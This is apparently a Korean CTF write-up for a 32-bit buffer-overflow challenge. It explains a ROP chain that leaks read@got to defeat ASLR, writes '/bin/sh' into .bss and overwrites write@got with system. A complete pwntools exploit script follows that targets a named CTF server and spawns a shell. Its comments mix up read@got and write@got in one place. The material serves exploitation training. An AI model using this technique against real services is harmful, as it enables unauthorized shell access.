read함수에서 BOF가 터진다. 바이너리 파일 안에 system, write, read 함수가 존재하므로 이 함수들을 이용해 ROP를 진행해보자.
코드를 짜기 전 알아둬야할 점을 짚어보자.
// read Function
ssize_t read (int fd, void *buf, size_t nbytes)
// write Function
ssize_t write (int fd, const void *buf, size_t n)
두 함수 모두 fd(디스크립터)를 이용한다.
파일 디스크립터(fd) 설명
0 표준 입력
1 표준 출력
2 표준 에러 출력
3 open함수로 순차적으로 할당
fd값이 0이면 입력, 1이면 출력이다.
함수의 흐름을 ROP로 제어하는데 시나리오는 다음과 같다.
1. ASLR이 걸려있기 때문에 실제 base 주소를 알아내야 하므로 write함수로 read@got 출력
2. system("/bin/sh")의 /bin/sh를 bss영역에 입력해야 하므로 read함수를 불러와 bss주소에 8byte를 입력
3. write@got --> system 함수의 주소로 교체하기 위해, 다시 read함수를 불러와 write@got 주소에 입력
정리 :
ROP 흐름 :
vulnerable_function에서 BOF
-> write(1, read@got, 4) // read@got 실제 주소를 구해 read_offset과 빼서 base 주소 구함
-> read(0, &bss, 8) // "/bin/sh"을 넣기 위해 read함수로 셋팅
-> read(0, write@got, 4) // system함수를 집어넣어 write@got를 system 함수로 교체
입력 값 :
-> read의 실제 주소 출력
-> "/bin/sh\x00" 을 입력
-> system 주소를 입력
Exploit Code
from pwn import *
context.log_level = 'debug'
#p = process('./rop')
p = remote('ctf.j0n9hyun.xyz', 3021)
e = ELF('./rop')
libc = ELF('./libc.so.6')
pppr = 0x08048509
write_plt = e.plt['write']
write_got = e.got['write']
write_offset = libc.symbols['write']
read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
bss = 0x0804a024
system_offset = libc.symbols['system']
payload = 'A' * 140
# write(1, read@got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# read(0, &bss, len(binsh))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# read(0, read@got, 4)
#-> Input system_addr later to exchange read_got addr into system_addr
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
# I exchanged read into system function. So if I call read function, system function will be called.
# system(&bss)
payload += p32(write_plt)
payload += 'A' * 4
payload += p32(bss)
# get write_got address
p.send(payload)
# This is real read_addr
read_addr = u32(p.recv(4))
base = read_addr - read_offset
system = base + system_offset
# input "/bin/sh\x00"
p.send("/bin/sh\x00")
p.send(p32(system))
p.interactive()